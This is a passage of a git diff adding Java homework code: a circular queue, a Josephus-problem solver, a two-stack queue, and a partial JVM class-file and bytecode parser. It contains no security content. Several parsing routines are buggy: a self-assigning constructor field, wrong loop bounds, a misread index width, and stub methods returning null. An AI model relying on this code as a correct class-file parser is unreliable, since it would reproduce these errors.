+    public boolean isEmpty() {
+        return front==rear;
+
+    }
+
+    public int size() {
+        return (rear-front+DEFAULT_SIZE)%DEFAULT_SIZE;
+    }
+
+
+
+    public void enQueue(E data) {
+        if((rear+1)%DEFAULT_SIZE==front){
+            throw new RuntimeException("queue has fulled");
+        }
+        elementData[rear] = data;
+        rear = (rear+1)%DEFAULT_SIZE;
+    }
+
+    public E deQueue() {
+        if(isEmpty()){
+            throw new EmptyStackException();
+        }
+        E data = (E)elementData[front];
+        front = (front+1)%DEFAULT_SIZE;
+        return data;
+    }
+}
diff --git a/group11/729245768/DataStructure/src/main/coding_170430/Josephus.java b/group11/729245768/DataStructure/src/main/coding_170430/Josephus.java
new file mode 100644
index 0000000000..13ec4df57d
--- /dev/null
+++ b/group11/729245768/DataStructure/src/main/coding_170430/Josephus.java
@@ -0,0 +1,34 @@
+package main.coding_170430;
+import java.util.ArrayList;
+import java.util.List;
+/**
+ * Created by peterchen on 2017/5/4.
+ */
+/**
+ * 用Queue来实现Josephus问题
+ * 在这个古老的问题当中， N个深陷绝境的人一致同意用这种方式减少生存人数：  N个人围成一圈（位置记为0到N-1）， 并且从第一个人报数， 报到M的人会被杀死， 直到最后一个人留下来
+ * 该方法返回一个List， 包含了被杀死人的次序
+ * @author liuxin
+ *
+ */
+public class Josephus {
+
+    public static List<Integer> execute(int n, int m){
+        CircleQueue<Integer> queue = new CircleQueue<>(n+1);
+        for(int i=1;i<=n;i++){
+            queue.enQueue(i);
+        }
+        List<Integer> list = new ArrayList<>();
+        while (!queue.isEmpty()){
+            int index = 1;
+            while (index<m){
+                int data = queue.deQueue();
+                queue.enQueue(data);
+                index++;
+            }
+            list.add(queue.deQueue());
+        }
+        return list;
+    }
+
+}
diff --git a/group11/729245768/DataStructure/src/main/coding_170430/QueueWithTwoStacks.java b/group11/729245768/DataStructure/src/main/coding_170430/QueueWithTwoStacks.java
new file mode 100644
index 0000000000..7829309a57
--- /dev/null
+++ b/group11/729245768/DataStructure/src/main/coding_170430/QueueWithTwoStacks.java
@@ -0,0 +1,46 @@
+package main.coding_170430;
+
+import java.util.Stack;
+
+/**
+ * Created by peterchen on 2017/5/5.
+ */
+public class QueueWithTwoStacks<E> {
+    private Stack<E> stack1;
+    private Stack<E> stack2;
+
+
+    public QueueWithTwoStacks() {
+        stack1 = new Stack<E>();
+        stack2 = new Stack<E>();
+    }
+
+
+    public boolean isEmpty() {
+        return stack1.isEmpty();
+    }
+
+
+    public int size() {
+        return stack1.size();
+    }
+
+
+    public void enQueue(E item) {
+        stack1.push(item);
+    }
+
+    public E deQueue() {
+        if (isEmpty()) {
+            return null;
+        }
+        while (!stack1.isEmpty()) {
+            stack2.push(stack1.pop());
+        }
+        E data = stack2.pop();
+        while (!stack2.isEmpty()) {
+            stack1.push(stack2.pop());
+        }
+        return data;
+    }
+}
diff --git a/group11/729245768/DataStructure/src/main/coding_170430/jvm/attr/AttributeInfo.java b/group11/729245768/DataStructure/src/main/coding_170430/jvm/attr/AttributeInfo.java
new file mode 100644
index 0000000000..a95d7f037a
--- /dev/null
+++ b/group11/729245768/DataStructure/src/main/coding_170430/jvm/attr/AttributeInfo.java
@@ -0,0 +1,21 @@
+package main.coding_170430.jvm.attr;
+
+/**
+ * Created by peter on 2017/4/21.
+ */
+public abstract  class AttributeInfo {
+    public static final String CODE = "Code";
+    public static final String CONST_VALUE = "ConstantValue";
+    public static final String EXCPTIONS = "Exceptions";
+    public static final String LINE_NUM_TABLE = "LineNumberTable";
+    public static final String LOCAL_VAR_TABLE = "LocalVaribleTable";
+    public static final String STACK_MAP_TABLE = "StackMapTable";
+
+    int attrNameIndex;
+    int attrLen;
+
+    public AttributeInfo(int attrNameIndex,int attrLen){
+        this.attrNameIndex = attrNameIndex;
+        this.attrLen = attrLen;
+    }
+}
diff --git a/group11/729245768/DataStructure/src/main/coding_170430/jvm/attr/CodeAttr.java b/group11/729245768/DataStructure/src/main/coding_170430/jvm/attr/CodeAttr.java
new file mode 100644
index 0000000000..8f13222925
--- /dev/null
+++ b/group11/729245768/DataStructure/src/main/coding_170430/jvm/attr/CodeAttr.java
@@ -0,0 +1,66 @@
+package main.coding_170430.jvm.attr;
+
+import main.coding_170430.jvm.clz.ClassFile;
+import main.coding_170430.jvm.cmd.ByteCodeCommand;
+import main.coding_170430.jvm.constant.ConstantPool;
+import main.coding_170430.jvm.loader.ByteCodeIterator;
+
+/**
+ * Created by peter on 2017/4/21.
+ */
+public class CodeAttr extends AttributeInfo {
+    private int maxStack ;
+    private int maxLocals ;
+    private int codeLen ;
+    private String code;
+    public String getCode() {
+        return code;
+    }
+
+    private ByteCodeCommand[] cmds ;
+    public ByteCodeCommand[] getCmds() {
+        return cmds;
+    }
+    private LineNumberTable lineNumTable;
+    private LocalVariableTable localVarTable;
+    private StackMapTable stackMapTable;
+
+    public CodeAttr(int attrNameIndex, int attrLen, int maxStack, int maxLocals, int codeLen,String code ,ByteCodeCommand[] cmds) {
+        super(attrNameIndex, attrLen);
+        this.maxStack = maxStack;
+        this.maxLocals = maxLocals;
+        this.codeLen = codeLen;
+        this.code = code;
+        this.cmds = cmds;
+    }
+
+    public void setLineNumberTable(LineNumberTable t) {
+        this.lineNumTable = t;
+    }
+
+    public void setLocalVariableTable(LocalVariableTable t) {
+        this.localVarTable = t;
+    }
+
+    public static CodeAttr parse(ClassFile clzFile, ByteCodeIterator iter){
+
+        return null;
+    }
+
+
+    public String toString(ConstantPool pool){
+        StringBuilder buffer = new StringBuilder();
+        //buffer.append("Code:").append(code).append("\n");
+        for(int i=0;i<cmds.length;i++){
+            buffer.append(cmds[i].toString(pool)).append("\n");
+        }
+        buffer.append("\n");
+        buffer.append(this.lineNumTable.toString());
+        buffer.append(this.localVarTable.toString(pool));
+        return buffer.toString();
+    }
+    private void setStackMapTable(StackMapTable t) {
+        this.stackMapTable = t;
+
+    }
+}
diff --git a/group11/729245768/DataStructure/src/main/coding_170430/jvm/attr/LineNumberTable.java b/group11/729245768/DataStructure/src/main/coding_170430/jvm/attr/LineNumberTable.java
new file mode 100644
index 0000000000..94748aacc2
--- /dev/null
+++ b/group11/729245768/DataStructure/src/main/coding_170430/jvm/attr/LineNumberTable.java
@@ -0,0 +1,68 @@
+package main.coding_170430.jvm.attr;
+
+import main.coding_170430.jvm.loader.ByteCodeIterator;
+
+import java.util.ArrayList;
+import java.util.List;
+
+/**
+ * Created by peter on 2017/4/21.
+ */
+public class LineNumberTable extends AttributeInfo {
+    List<LineNumberItem> items = new ArrayList<>();
+
+    private static class LineNumberItem {
+        int startPC;
+        int lineNum;
+
+        public int getStartPC() {
+            return startPC;
+        }
+
+        public void setStartPC(int startPC) {
+            this.startPC = startPC;
+        }
+
+        public int getLineNum() {
+            return lineNum;
+        }
+
+        public void setLineNum(int lineNum) {
+            this.lineNum = lineNum;
+        }
+    }
+
+    public void addLineNumberItem(LineNumberItem item) {
+        this.items.add(item);
+    }
+
+    public LineNumberTable(int attrNameIndex, int attrLen) {
+        super(attrNameIndex, attrLen);
+    }
+
+    public static LineNumberTable parse(ByteCodeIterator iterator) {
+        int index = iterator.nextU2ToInt();
+        int len = iterator.nextU4ToInt();
+
+        LineNumberTable table = new LineNumberTable(index, len);
+        for (int i = 1; i < len; i++) {
+            LineNumberItem item = new LineNumberItem();
+            item.setStartPC(iterator.nextU2ToInt());
+            item.setLineNum(iterator.nextU2ToInt());
+            table.addLineNumberItem(item);
+        }
+        return table;
+    }
+
+    @Override
+    public String toString() {
+        StringBuilder sb = new StringBuilder();
+        sb.append("Line Number Table:\n");
+        for(LineNumberItem item:items){
+            sb.append("startPC:"+item.getStartPC()).append(",");
+            sb.append("LineNum:"+item.getLineNum()).append("\n");
+        }
+        sb.append("\n");
+        return  sb.toString();
+    }
+}
diff --git a/group11/729245768/DataStructure/src/main/coding_170430/jvm/attr/LocalVariableItem.java b/group11/729245768/DataStructure/src/main/coding_170430/jvm/attr/LocalVariableItem.java
new file mode 100644
index 0000000000..6891c13bc6
--- /dev/null
+++ b/group11/729245768/DataStructure/src/main/coding_170430/jvm/attr/LocalVariableItem.java
@@ -0,0 +1,52 @@
+package main.coding_170430.jvm.attr;
+
+/**
+ * Created by peter on 2017/4/21.
+ */
+public class LocalVariableItem {
+    private int startPC;
+    private int length;
+    private int nameIndex;
+    private int descIndex;
+    private int index;
+
+    public int getStartPC() {
+        return startPC;
+    }
+
+    public void setStartPC(int startPC) {
+        this.startPC = startPC;
+    }
+
+    public int getLength() {
+        return length;
+    }
+
+    public void setLength(int length) {
+        this.length = length;
+    }
+
+    public int getNameIndex() {
+        return nameIndex;
+    }
+
+    public void setNameIndex(int nameIndex) {
+        this.nameIndex = nameIndex;
+    }
+
+    public int getDescIndex() {
+        return descIndex;
+    }
+
+    public void setDescIndex(int descIndex) {
+        this.descIndex = descIndex;
+    }
+
+    public int getIndex() {
+        return index;
+    }
+
+    public void setIndex(int index) {
+        this.index = index;
+    }
+}
diff --git a/group11/729245768/DataStructure/src/main/coding_170430/jvm/attr/LocalVariableTable.java b/group11/729245768/DataStructure/src/main/coding_170430/jvm/attr/LocalVariableTable.java
new file mode 100644
index 0000000000..7fe678d70d
--- /dev/null
+++ b/group11/729245768/DataStructure/src/main/coding_170430/jvm/attr/LocalVariableTable.java
@@ -0,0 +1,50 @@
+package main.coding_170430.jvm.attr;
+
+import main.coding_170430.jvm.constant.ConstantPool;
+import main.coding_170430.jvm.loader.ByteCodeIterator;
+
+import java.util.ArrayList;
+import java.util.List;
+
+/**
+ * Created by peter on 2017/4/21.
+ */
+public class LocalVariableTable extends AttributeInfo {
+    List<LocalVariableItem> items = new ArrayList<>();
+    public LocalVariableTable(int attrNameIndex,int attrLen){
+        super(attrNameIndex,attrLen);
+    }
+    public void addLocalVariableItem(LocalVariableItem item){
+        this.items.add(item);
+    }
+    public static LocalVariableTable parse(ByteCodeIterator iterator){
+        int index = iterator.nextU1ToInt();
+        int len = iterator.nextU4ToInt();
+        LocalVariableTable table = new LocalVariableTable(index,len);
+
+        int itemLen = iterator.nextU2ToInt();
+        for(int i=0;i<=itemLen;i++){
+            LocalVariableItem item =new LocalVariableItem();
+            item.setStartPC(iterator.nextU2ToInt());
+            item.setLength(iterator.nextU2ToInt());
+            item.setNameIndex(iterator.nextU2ToInt());
+            item.setDescIndex(iterator.nextU2ToInt());
+            item.setIndex(iterator.nextU2ToInt());
+            table.addLocalVariableItem(item);
+        }
+        return table;
+    }
+
+    public String toString(ConstantPool pool){
+        StringBuffer buffer = new StringBuffer();
+        buffer.append("Local variable table:\n");
+        for(LocalVariableItem item:items){
+            buffer.append("startPC:"+item.getStartPC()).append(",");
+            buffer.append("name:"+pool.getUTF8String(item.getNameIndex())).append(",");
+            buffer.append("desc:"+pool.getUTF8String(item.getDescIndex())).append(",");
+            buffer.append("slotIndex:"+ item.getIndex()).append("\n");
+        }
+        buffer.append("\n");
+        return buffer.toString();
+    }
+}
diff --git a/group11/729245768/DataStructure/src/main/coding_170430/jvm/attr/StackMapTable.java b/group11/729245768/DataStructure/src/main/coding_170430/jvm/attr/StackMapTable.java
new file mode 100644
index 0000000000..69fc63ee81
--- /dev/null
+++ b/group11/729245768/DataStructure/src/main/coding_170430/jvm/attr/StackMapTable.java
@@ -0,0 +1,23 @@
+package main.coding_170430.jvm.attr;
+
+import main.coding_170430.jvm.loader.ByteCodeIterator;
+
+/**
+ * Created by peter on 2017/4/21.
+ */
+public class StackMapTable extends AttributeInfo {
+    private String originalCode;
+
+    public StackMapTable(int attrNameIndex,int attrLen){
+        super(attrNameIndex,attrLen);
+    }
+    public static StackMapTable parse(ByteCodeIterator iterator){
+        int index = iterator.nextU2ToInt();
+        int len = iterator.nextU4ToInt();
+        StackMapTable t = new StackMapTable(index,len);
+        return t;
+    }
+    private void setOriginalCode(String code){
+        this.originalCode =code;
+    }
+}
diff --git a/group11/729245768/DataStructure/src/main/coding_170430/jvm/clz/AccessFlag.java b/group11/729245768/DataStructure/src/main/coding_170430/jvm/clz/AccessFlag.java
new file mode 100644
index 0000000000..a9dbac985a
--- /dev/null
+++ b/group11/729245768/DataStructure/src/main/coding_170430/jvm/clz/AccessFlag.java
@@ -0,0 +1,28 @@
+package main.coding_170430.jvm.clz;
+
+/**
+ * Created by peter on 2017/4/21.
+ */
+public class AccessFlag {
+    private int flagValue;
+
+    public AccessFlag(int value) {
+        this.flagValue = value;
+    }
+
+    public int getFlagValue() {
+        return flagValue;
+    }
+
+    public void setFlagValue(int flag) {
+        this.flagValue = flag;
+    }
+
+    public boolean isPublicClass() {
+        return (this.flagValue & 0x0001) != 0;
+    }
+
+    public boolean isFinalClass() {
+        return (this.flagValue & 0x0010) != 0;
+    }
+}
diff --git a/group11/729245768/DataStructure/src/main/coding_170430/jvm/clz/ClassFile.java b/group11/729245768/DataStructure/src/main/coding_170430/jvm/clz/ClassFile.java
new file mode 100644
index 0000000000..3e91d99783
--- /dev/null
+++ b/group11/729245768/DataStructure/src/main/coding_170430/jvm/clz/ClassFile.java
@@ -0,0 +1,96 @@
+package main.coding_170430.jvm.clz;
+
+import main.coding_170430.jvm.constant.ClassInfo;
+import main.coding_170430.jvm.constant.ConstantPool;
+import main.coding_170430.jvm.field.Field;
+import main.coding_170430.jvm.method.Method;
+
+import java.util.ArrayList;
+import java.util.List;
+
+/**
+ * Created by peter on 2017/4/21.
+ */
+public class ClassFile {
+    private int minorVersion;
+    private int majorVersion;
+
+    private ConstantPool pool;
+    private AccessFlag accessFlag;
+    private ClassIndex clzIndex;
+    private List<Field> fields = new ArrayList<>();
+    private List<Method> methods = new ArrayList<>();
+
+    public ClassIndex getClzIndex(){
+        return clzIndex;
+    }
+
+    public AccessFlag getAccessFlag(){
+        return accessFlag;
+    }
+
+    public void setAccessFlag(AccessFlag accessFlag){
+        this.accessFlag = accessFlag;
+    }
+    public ConstantPool getConstantPool(){
+        return pool;
+    }
+
+    public int getMinorVersion(){
+        return minorVersion;
+    }
+
+    public void setMinorVersion(int minorVersion){
+        this.minorVersion = minorVersion;
+    }
+    public int getMajorVersion(){
+        return majorVersion;
+    }
+    public void setMajorVersion(int majorVersion){
+        this.majorVersion = majorVersion;
+    }
+
+    public void setConstantPool(ConstantPool pool){
+        this.pool = pool;
+    }
+    public void setClassIndex(ClassIndex clzIndex){
+        this.clzIndex = clzIndex;
+    }
+
+    public void addField(Field f){
+        this.fields.add(f);
+    }
+    public List<Field> getFields(){
+        return this.fields;
+    }
+
+    public void addMethod(Method m){
+        this.methods.add(m);
+    }
+
+    public List<Method> getMethods(){
+        return methods;
+    }
+
+    public void print(){
+        if(this.accessFlag.isPublicClass()){
+            System.out.println("Access flag : public");
+        }
+        System.out.println("Class Name:"+getClassName());
+        System.out.println("Super Class Name:"+getSuperClassName());
+    }
+    public String getClassName(){
+        int thisClassIndex = this.clzIndex.getThisClassIndex();
+        ClassInfo thisClass = (ClassInfo)this.getConstantPool().getConstantInfo(thisClassIndex);
+        return thisClass.getClassName();
+    }
+
+    public String getSuperClassName(){
+        ClassInfo superClass = (ClassInfo)this.getConstantPool().getConstantInfo(this.getClzIndex().getSuperClassIndex());
+        return superClass.getClassName();
+    }
+    public Method getMainMethod(){
+
+        return null;
+    }
+}
diff --git a/group11/729245768/DataStructure/src/main/coding_170430/jvm/clz/ClassIndex.java b/group11/729245768/DataStructure/src/main/coding_170430/jvm/clz/ClassIndex.java
new file mode 100644
index 0000000000..1612dbc29c
--- /dev/null
+++ b/group11/729245768/DataStructure/src/main/coding_170430/jvm/clz/ClassIndex.java
@@ -0,0 +1,25 @@
+package main.coding_170430.jvm.clz;
+
+/**
+ * Created by peter on 2017/4/21.
+ */
+public class ClassIndex {
+    private int thisClassIndex;
+    private int superClassIndex;
+
+    public void setThisClassIndex(int thisClassIndex) {
+        this.thisClassIndex = thisClassIndex;
+    }
+
+    public void setSuperClassIndex(int superClassIndex) {
+        this.superClassIndex = superClassIndex;
+    }
+
+    public int getThisClassIndex() {
+        return thisClassIndex;
+    }
+
+    public int getSuperClassIndex() {
+        return superClassIndex;
+    }
+}
diff --git a/group11/729245768/DataStructure/src/main/coding_170430/jvm/cmd/BiPushCmd.java b/group11/729245768/DataStructure/src/main/coding_170430/jvm/cmd/BiPushCmd.java
new file mode 100644
index 0000000000..14cd3f57c1
--- /dev/null
+++ b/group11/729245768/DataStructure/src/main/coding_170430/jvm/cmd/BiPushCmd.java
@@ -0,0 +1,20 @@
+package main.coding_170430.jvm.cmd;
+
+import main.coding_170430.jvm.clz.ClassFile;
+
+/**
+ * Created by peterchen on 2017/4/26.
+ */
+public class BiPushCmd extends OneOperandCmd {
+    public BiPushCmd(ClassFile clzFile, String opCode) {
+        super(clzFile,opCode);
+
+    }
+
+    @Override
+    public String toString() {
+
+        return this.getOffset()+":"+ this.getOpCode()+" " + this.getReadableCodeText() + " " + this.getOperand();
+    }
+
+}
diff --git a/group11/729245768/DataStructure/src/main/coding_170430/jvm/cmd/ByteCodeCommand.java b/group11/729245768/DataStructure/src/main/coding_170430/jvm/cmd/ByteCodeCommand.java
new file mode 100644
index 0000000000..c085fdf2ce
--- /dev/null
+++ b/group11/729245768/DataStructure/src/main/coding_170430/jvm/cmd/ByteCodeCommand.java
@@ -0,0 +1,151 @@
+package main.coding_170430.jvm.cmd;
+
+import main.coding_170430.jvm.clz.ClassFile;
+import main.coding_170430.jvm.constant.ConstantInfo;
+import main.coding_170430.jvm.constant.ConstantPool;
+
+import java.util.HashMap;
+import java.util.Map;
+
+/**
+ * Created by peterchen on 2017/4/26.
+ */
+public abstract class ByteCodeCommand {
+    String opCode;
+    ClassFile clzFile;
+    private int offset;
+
+    public static final String aconst_null = "01";
+    public static final String new_object = "BB";
+    public static final String lstore = "37";
+    public static final String invokespecial = "B7";
+    public static final String invokevirtual = "B6";
+    public static final String getfield = "B4";
+    public static final String putfield = "B5";
+    public static final String getstatic = "B2";
+    public static final String ldc = "12";
+    public static final String dup = "59";
+    public static final String bipush = "10";
+    public static final String aload_0 = "2A";
+    public static final String aload_1 = "2B";
+    public static final String aload_2 = "2C";
+    public static final String iload = "15";
+    public static final String iload_1 = "1B";
+    public static final String iload_2 = "1C";
+    public static final String iload_3 = "1D";
+    public static final String fload_3 = "25";
+
+    public static final String voidreturn = "B1";
+    public static final String ireturn = "AC";
+    public static final String freturn = "AE";
+
+    public static final String astore_1 = "4C";
+    public static final String if_icmp_ge = "A2";
+    public static final String if_icmple = "A4";
+    public static final String goto_no_condition = "A7";
+    public static final String iconst_0 = "03";
+    public static final String iconst_1 = "04";
+    public static final String istore_1 = "3C";
+    public static final String istore_2 = "3D";
+    public static final String iadd = "60";
+    public static final String iinc = "84";
+    private static Map<String,String> codeMap = new HashMap<String,String>();
+
+    static{
+        codeMap.put("01", "aconst_null");
+
+        codeMap.put("BB", "new");
+        codeMap.put("37", "lstore");
+        codeMap.put("B7", "invokespecial");
+        codeMap.put("B6", "invokevirtual");
+        codeMap.put("B4", "getfield");
+        codeMap.put("B5", "putfield");
+        codeMap.put("B2", "getstatic");
+
+        codeMap.put("2A", "aload_0");
+        codeMap.put("2B", "aload_1");
+        codeMap.put("2C", "aload_2");
+
+        codeMap.put("10", "bipush");
+        codeMap.put("15", "iload");
+        codeMap.put("1A", "iload_0");
+        codeMap.put("1B", "iload_1");
+        codeMap.put("1C", "iload_2");
+        codeMap.put("1D", "iload_3");
+
+        codeMap.put("25", "fload_3");
+
+        codeMap.put("1E", "lload_0");
+
+        codeMap.put("24", "fload_2");
+        codeMap.put("4C", "astore_1");
+
+        codeMap.put("A2", "if_icmp_ge");
+        codeMap.put("A4", "if_icmple");
+
+        codeMap.put("A7", "goto");
+
+        codeMap.put("B1", "return");
+        codeMap.put("AC", "ireturn");
+        codeMap.put("AE", "freturn");
+
+        codeMap.put("03", "iconst_0");
+        codeMap.put("04", "iconst_1");
+
+        codeMap.put("3C", "istore_1");
+        codeMap.put("3D", "istore_2");
+
+        codeMap.put("59", "dup");
+
+        codeMap.put("60", "iadd");
+        codeMap.put("84", "iinc");
+
+        codeMap.put("12", "ldc");
+    }
+
+
+
+
+
+    protected ByteCodeCommand(ClassFile clzFile, String opCode){
+        this.clzFile = clzFile;
+        this.opCode = opCode;
+    }
+
+    protected ClassFile getClassFile() {
+        return clzFile;
+    }
+
+    public int getOffset() {
+        return offset;
+    }
+
+    public void setOffset(int offset) {
+        this.offset = offset;
+    }
+    protected ConstantInfo getConstantInfo(int index){
+        return this.getClassFile().getConstantPool().getConstantInfo(index);
+    }
+
+    protected ConstantPool getConstantPool(){
+        return this.getClassFile().getConstantPool();
+    }
+
+
+
+    public String getOpCode() {
+        return opCode;
+    }
+
+    public abstract int getLength();
+
+    public String getReadableCodeText(){
+        String txt = codeMap.get(opCode);
+        if(txt == null){
+            return opCode;
+        }
+        return txt;
+    }
+    public abstract String toString(ConstantPool pool);
+    //public abstract void execute(StackFrame frame,ExecutionResult result);
+}
diff --git a/group11/729245768/DataStructure/src/main/coding_170430/jvm/cmd/CommandParser.java b/group11/729245768/DataStructure/src/main/coding_170430/jvm/cmd/CommandParser.java
new file mode 100644
index 0000000000..9e0fbcf994
--- /dev/null
+++ b/group11/729245768/DataStructure/src/main/coding_170430/jvm/cmd/CommandParser.java
@@ -0,0 +1,127 @@
+package main.coding_170430.jvm.cmd;
+
+import main.coding_170430.jvm.clz.ClassFile;
+
+import java.util.ArrayList;
+import java.util.List;
+
+/**
+ * Created by peterchen on 2017/4/26.
+ */
+public class CommandParser {
+
+    public static ByteCodeCommand[] parse(ClassFile clzFile, String codes) {
+        if (codes == null || codes.length() == 0 || (codes.length() % 2) != 0) {
+            throw new RuntimeException("the original code is not correct");
+        }
+
+        codes = codes.toUpperCase();
+
+        CommandIterator commandIterator = new CommandIterator(codes);
+        List<ByteCodeCommand> byteCodeCommands = new ArrayList<>();
+        while (commandIterator.hasNext()) {
+            String opCode = commandIterator.next2CharAsString();
+            switch (opCode) {
+                case ByteCodeCommand.new_object:
+                    NewObjectCmd newObjectCmd = new NewObjectCmd(clzFile, opCode);
+                    newObjectCmd.setOprand1(commandIterator.nextCharAsInt());
+                    newObjectCmd.setOprand2(commandIterator.nextCharAsInt());
+                    byteCodeCommands.add(newObjectCmd);
+                    break;
+                case ByteCodeCommand.invokespecial:
+                    InvokeSpecialCmd invokeSpecialCmd = new InvokeSpecialCmd(clzFile, opCode);
+                    invokeSpecialCmd.setOprand1(commandIterator.nextCharAsInt());
+                    invokeSpecialCmd.setOprand2(commandIterator.nextCharAsInt());
+                    byteCodeCommands.add(invokeSpecialCmd);
+                    break;
+                case ByteCodeCommand.invokevirtual:
+                    InvokeVirtualCmd invokeVirtualCmd = new InvokeVirtualCmd(clzFile, opCode);
+                    invokeVirtualCmd.setOprand1(commandIterator.nextCharAsInt());
+                    invokeVirtualCmd.setOprand2(commandIterator.nextCharAsInt());
+                    byteCodeCommands.add(invokeVirtualCmd);
+                    break;
+                case ByteCodeCommand.getfield:
+                    GetFieldCmd getFieldCmd = new GetFieldCmd(clzFile, opCode);
+                    getFieldCmd.setOprand1(commandIterator.nextCharAsInt());
+                    getFieldCmd.setOprand2(commandIterator.nextCharAsInt());
+                    byteCodeCommands.add(getFieldCmd);
+                    break;
+                case ByteCodeCommand.getstatic:
+                    GetStaticFieldCmd getStaticFieldCmd = new GetStaticFieldCmd(clzFile, opCode);
+                    getStaticFieldCmd.setOprand1(commandIterator.nextCharAsInt());
+                    getStaticFieldCmd.setOprand2(commandIterator.nextCharAsInt());
+                    byteCodeCommands.add(getStaticFieldCmd);
+                    break;
+                case ByteCodeCommand.putfield:
+                    PutFieldCmd putFieldCmd = new PutFieldCmd(clzFile, opCode);
+                    putFieldCmd.setOprand1(commandIterator.nextCharAsInt());
+                    putFieldCmd.setOprand2(commandIterator.nextCharAsInt());
+                    byteCodeCommands.add(putFieldCmd);
+                    break;
+                case ByteCodeCommand.ldc:
+                    LdcCmd ldcCmd = new LdcCmd(clzFile, opCode);
+                    ldcCmd.setOperand(commandIterator.nextCharAsInt());
+                    byteCodeCommands.add(ldcCmd);
+                    break;
+                case ByteCodeCommand.bipush:
+                    BiPushCmd biPushCmd = new BiPushCmd(clzFile, opCode);
+                    biPushCmd.setOperand(commandIterator.nextCharAsInt());
+                    byteCodeCommands.add(biPushCmd);
+                    break;
+                case ByteCodeCommand.dup:
+                case ByteCodeCommand.aload_0:
+                case ByteCodeCommand.aload_1:
+                case ByteCodeCommand.aload_2:
+                case ByteCodeCommand.iload_1:
+                case ByteCodeCommand.iload_2:
+                case ByteCodeCommand.iload_3:
+                case ByteCodeCommand.fload_3:
+                case ByteCodeCommand.voidreturn:
+                case ByteCodeCommand.astore_1:
+                    NoOperandCmd noOperandCmd = new NoOperandCmd(clzFile, opCode);
+                    byteCodeCommands.add(noOperandCmd);
+                    break;
+                default:
+                    throw new RuntimeException("Sorry,the instruction " + opCode + " " + "has not implemented");
+
+            }
+        }
+        calcuateOffset(byteCodeCommands);
+        ByteCodeCommand[] result = new ByteCodeCommand[byteCodeCommands.size()];
+        byteCodeCommands.toArray(result);
+        return result;
+    }
+
+
+    private static void calcuateOffset(List<ByteCodeCommand> cmds) {
+        int offset = 0;
+        for (ByteCodeCommand cmd : cmds) {
+            cmd.setOffset(offset);
+            offset += cmd.getLength();
+        }
+    }
+
+    private static class CommandIterator {
+        String codes = null;
+        int pos = 0;
+
+        CommandIterator(String code) {
+            this.codes = codes;
+        }
+
+        public boolean hasNext() {
+            return pos < this.codes.length();
+        }
+
+        public String next2CharAsString() {
+            String result = codes.substring(pos, pos + 2);
+            pos += 2;
+            return result;
+        }
+
+        public int nextCharAsInt() {
+            String s = this.next2CharAsString();
+            return Integer.valueOf(s, 16).intValue();
+        }
+    }
+}
diff --git a/group11/729245768/DataStructure/src/main/coding_170430/jvm/cmd/GetFieldCmd.java b/group11/729245768/DataStructure/src/main/coding_170430/jvm/cmd/GetFieldCmd.java
new file mode 100644
index 0000000000..d1403dddee
--- /dev/null
+++ b/group11/729245768/DataStructure/src/main/coding_170430/jvm/cmd/GetFieldCmd.java
@@ -0,0 +1,19 @@
+package main.coding_170430.jvm.cmd;
+
+import main.coding_170430.jvm.clz.ClassFile;
+
+/**
+ * Created by peterchen on 2017/4/26.
+ */
+public class GetFieldCmd extends TwoOperandCmd {
+    public GetFieldCmd(ClassFile clzFile, String opCode) {
+        super(clzFile,opCode);
+    }
+
+    @Override
+    public String toString() {
+
+        return super.getOperandAsField();
+    }
+
+}
diff --git a/group11/729245768/DataStructure/src/main/coding_170430/jvm/cmd/GetStaticFieldCmd.java b/group11/729245768/DataStructure/src/main/coding_170430/jvm/cmd/GetStaticFieldCmd.java
new file mode 100644
index 0000000000..936161fedd
--- /dev/null
+++ b/group11/729245768/DataStructure/src/main/coding_170430/jvm/cmd/GetStaticFieldCmd.java
@@ -0,0 +1,20 @@
+package main.coding_170430.jvm.cmd;
+
+import main.coding_170430.jvm.clz.ClassFile;
+
+/**
+ * Created by peterchen on 2017/4/26.
+ */
+public class GetStaticFieldCmd extends TwoOperandCmd {
+    public GetStaticFieldCmd(ClassFile clzFile, String opCode) {
+        super(clzFile,opCode);
+
+    }
+
+    @Override
+    public String toString() {
+
+        return super.getOperandAsField();
+    }
+
+}
diff --git a/group11/729245768/DataStructure/src/main/coding_170430/jvm/cmd/InvokeSpecialCmd.java b/group11/729245768/DataStructure/src/main/coding_170430/jvm/cmd/InvokeSpecialCmd.java
new file mode 100644
index 0000000000..1bf5a75153
--- /dev/null
+++ b/group11/729245768/DataStructure/src/main/coding_170430/jvm/cmd/InvokeSpecialCmd.java
@@ -0,0 +1,19 @@
+package main.coding_170430.jvm.cmd;
+
+import main.coding_170430.jvm.clz.ClassFile;
+
+/**
+ * Created by peterchen on 2017/4/26.
+ */
+public class InvokeSpecialCmd extends TwoOperandCmd {
+    public InvokeSpecialCmd(ClassFile clzFile, String opCode) {
+        super(clzFile,opCode);
+
+    }
+
+    @Override
+    public String toString() {
+
+        return super.getOperandAsMethod();
+    }
+}
diff --git a/group11/729245768/DataStructure/src/main/coding_170430/jvm/cmd/InvokeVirtualCmd.java b/group11/729245768/DataStructure/src/main/coding_170430/jvm/cmd/InvokeVirtualCmd.java
new file mode 100644
index 0000000000..90cb20b30a
--- /dev/null
+++ b/group11/729245768/DataStructure/src/main/coding_170430/jvm/cmd/InvokeVirtualCmd.java
@@ -0,0 +1,24 @@
+package main.coding_170430.jvm.cmd;
+
+import main.coding_170430.jvm.clz.ClassFile;
+
+/**
+ * Created by peterchen on 2017/4/26.
+ */
+public class InvokeVirtualCmd extends TwoOperandCmd {
+    public InvokeVirtualCmd(ClassFile clzFile, String opCode) {
+        super(clzFile,opCode);
+    }
+
+    @Override
+    public String toString() {
+
+        return super.getOperandAsMethod();
+    }
+
+    private boolean isSystemOutPrintlnMethod(String className, String methodName){
+        return "java/io/PrintStream".equals(className)
+                && "println".equals(methodName);
+    }
+
+}
diff --git a/group11/729245768/DataStructure/src/main/coding_170430/jvm/cmd/LdcCmd.java b/group11/729245768/DataStructure/src/main/coding_170430/jvm/cmd/LdcCmd.java
new file mode 100644
index 0000000000..99796850c3
--- /dev/null
+++ b/group11/729245768/DataStructure/src/main/coding_170430/jvm/cmd/LdcCmd.java
@@ -0,0 +1,30 @@
+package main.coding_170430.jvm.cmd;
+
+import main.coding_170430.jvm.clz.ClassFile;
+import main.coding_170430.jvm.constant.ConstantInfo;
+import main.coding_170430.jvm.constant.StringInfo;
+
+/**
+ * Created by peterchen on 2017/4/26.
+ */
+public class LdcCmd extends OneOperandCmd {
+    public LdcCmd(ClassFile clzFile, String opCode) {
+        super(clzFile,opCode);
+    }
+
+    @Override
+    public String toString() {
+
